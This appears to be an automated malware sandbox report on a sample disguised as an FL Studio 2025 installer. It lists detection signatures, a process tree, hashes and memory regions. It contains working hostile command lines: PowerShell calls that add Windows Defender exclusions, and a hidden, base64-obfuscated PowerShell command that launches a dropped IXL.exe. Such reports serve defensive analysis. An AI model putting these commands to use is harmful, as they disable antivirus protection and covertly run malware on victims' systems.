Analysis
- max time kernel
299s - max time network
242s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
20/08/2026, 18:06
General
- Target FLStudio2025_v269_Win.exe
- Size 1.4MB
- Sample260820-wpxvsasgnb
- SHA256 9ed95464e794e9fe8b2baa4621507c8322b7eb2a3fa182f18f66a457a75a633f
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 2 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 12 IoCs
- Suspicious use of AdjustPrivilegeToken 47 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"C:\Users\Admin\AppData\Local\Temp\FLStudio2025_v269_Win.exe"2⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$yrrq0t=5486;$l35tpg=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$yrrq0t=5486;$121hby=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXElYTC5leGU=')));$yrrq0t=5486;& $l35tpg -FilePath $121hby"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\IXL.exe"C:\Users\Admin\AppData\Roaming\IXL.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\IXL.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\IXL.exe"C:\Users\Admin\AppData\Roaming\IXL.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
103621DE9CD5414CC2538780B4B75751
22D536C4B4AD2CEF7AC6B7789FD235E3
DACA07F528AEA217E7DD3FC8F1C70CEE
103621DE9CD5414CC2538780B4B75751
22D536C4B4AD2CEF7AC6B7789FD235E3
DACA07F528AEA217E7DD3FC8F1C70CEE
StartupProfileData-NonInteractive
__PSScriptPolicyTest_zmwxbehi.rlt.ps1
IXL.exe
memory/1748-5-0x0000000005920000-0x00000000059B2000-memory.dmp
memory/1748-6-0x0000000005530000-0x000000000553A000-memory.dmp
memory/1748-11-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1748-12-0x00000000084F0000-0x0000000008632000-memory.dmp
memory/1748-9-0x0000000005C50000-0x0000000005C74000-memory.dmp
memory/1748-8-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1748-7-0x0000000005A60000-0x0000000005AFC000-memory.dmp
memory/1748-10-0x00000000750C2000-0x00000000750C3000-memory.dmp
memory/1748-35-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/1748-4-0x0000000005EE0000-0x000000000649A000-memory.dmp
memory/1748-0-0x00000000750C2000-0x00000000750C3000-memory.dmp
memory/1748-3-0x0000000005400000-0x0000000005422000-memory.dmp
memory/1748-2-0x00000000055C0000-0x000000000591B000-memory.dmp
memory/1748-1-0x0000000000940000-0x0000000000AB2000-memory.dmp
memory/2616-83-0x0000000072710000-0x000000007275C000-memory.dmp
memory/2616-82-0x0000000005F30000-0x0000000005F7C000-memory.dmp
memory/2616-86-0x0000000007140000-0x00000000071E3000-memory.dmp
memory/2768-70-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-74-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-75-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-77-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-65-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-68-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-71-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-73-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-76-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-78-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-66-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-67-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-69-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2768-72-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2888-54-0x00000221D58E0000-0x00000221D595C000-memory.dmp
memory/2888-43-0x00000221D5460000-0x00000221D5482000-memory.dmp
memory/2904-30-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-34-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-33-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-25-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-23-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-19-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-32-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-31-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-29-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-28-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-27-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-26-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-24-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-62-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-22-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-21-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-18-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/2904-20-0x0000000000400000-0x00000000004B3000-memory.dmp
memory/6000-36-0x0000000004EE0000-0x0000000004F46000-memory.dmp
memory/6000-37-0x00000000055A0000-0x0000000005606000-memory.dmp
memory/6000-61-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/6000-38-0x0000000005610000-0x000000000596B000-memory.dmp
memory/6000-58-0x00000000070E0000-0x0000000007176000-memory.dmp
memory/6000-57-0x0000000006EE0000-0x0000000006EEA000-memory.dmp
memory/6000-56-0x0000000006E70000-0x0000000006E8A000-memory.dmp
memory/6000-55-0x00000000074B0000-0x0000000007B2C000-memory.dmp
memory/6000-41-0x0000000005AE0000-0x0000000005AFE000-memory.dmp
memory/6000-42-0x0000000005BB0000-0x0000000005BFC000-memory.dmp
memory/6000-47-0x0000000072800000-0x000000007284C000-memory.dmp
memory/6000-51-0x0000000006B10000-0x0000000006BB3000-memory.dmp
memory/6000-50-0x0000000006130000-0x0000000006150000-memory.dmp
memory/6000-46-0x00000000060D0000-0x0000000006106000-memory.dmp
memory/6000-16-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/6000-17-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/6000-14-0x00000000750B0000-0x000000007586C000-memory.dmp
memory/6000-15-0x0000000004F50000-0x000000000559A000-memory.dmp
memory/6000-13-0x00000000022F0000-0x0000000002326000-memory.dmp